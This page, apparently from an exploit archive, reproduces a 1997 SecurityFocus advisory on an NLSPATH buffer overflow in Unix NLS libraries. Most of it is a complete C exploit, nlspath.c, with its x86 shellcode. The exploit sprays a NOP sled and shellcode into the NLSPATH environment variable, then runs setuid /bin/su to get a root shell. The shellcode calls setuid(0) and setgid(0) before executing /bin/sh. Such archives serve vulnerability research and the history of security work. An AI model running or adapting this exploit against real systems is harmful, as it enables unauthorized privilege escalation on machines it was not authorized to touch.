UNICOS 9/MAX 1.3/mk 1.5 / AIX 4.2 / libc 5.2.18 / RedHat 4 / IRIX 6 / Slackware 3 - NLS (2)

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DATE: May 16, 2024, 3:59 a.m.

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  1. /*
  2. source: https://www.securityfocus.com/bid/711/info
  4. Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2)
  6. A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats.
  8. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others.
  10. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set.
  13. --- nlspath.c ---
  14. */
  17. /*
  18. * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  19. * Copyright (c) 1997 by Solar Designer
  20. */
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <unistd.h>
  26. char *shellcode =
  27. "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  28. "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  29. "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  30. "\xcd\x80/"
  31. "/bin/sh"
  32. "0";
  34. char *get_sp() {
  35. asm("movl %esp,%eax");
  36. }
  38. #define bufsize 2048
  39. char buffer[bufsize];
  41. main() {
  42. int i;
  44. for (i = 0; i < bufsize - 4; i += 4)
  45. *(char **)&buffer[i] = get_sp() - 3072;
  47. memset(buffer, 0x90, 512);
  48. memcpy(&buffer[512], shellcode, strlen(shellcode));
  50. buffer[bufsize - 1] = 0;
  52. setenv("NLSPATH", buffer, 1);
  54. execl("/bin/su", "/bin/su", NULL);
  55. }
  57. --- nlspath.c ---
  59. And the shellcode separately:
  61. --- shellcode.s ---
  63. .text
  64. .globl shellcode
  65. shellcode:
  66. xorl %eax,%eax
  67. movb $0x31,%al
  68. int $0x80
  69. xchgl %eax,%ebx
  70. xorl %eax,%eax
  71. movb $0x17,%al
  72. int $0x80
  73. .byte 0x68
  74. popl %ecx
  75. popl %eax
  76. jmp *%ecx
  77. call *%esp
  78. xorl %eax,%eax
  79. cltd
  80. movl %ecx,%edi
  81. movb $'/'-1,%al
  82. incl %eax
  83. scasb %es:(%edi),%al
  84. jne -3
  85. movl %edi,(%ecx)
  86. movl %edx,4(%ecx)
  87. movl %edi,%ebx
  88. incl %eax
  89. scasb %es:(%edi),%al
  90. jne -3
  91. movb %dl,-1(%edi)
  92. movb $0x0B,%al
  93. int $0x80
  94. xorl %eax,%eax
  95. incl %eax
  96. xorl %ebx,%ebx
  97. int $0x80
  98. .byte '/'
  99. .string "/bin/sh0"
  101. --- shellcode.s ---
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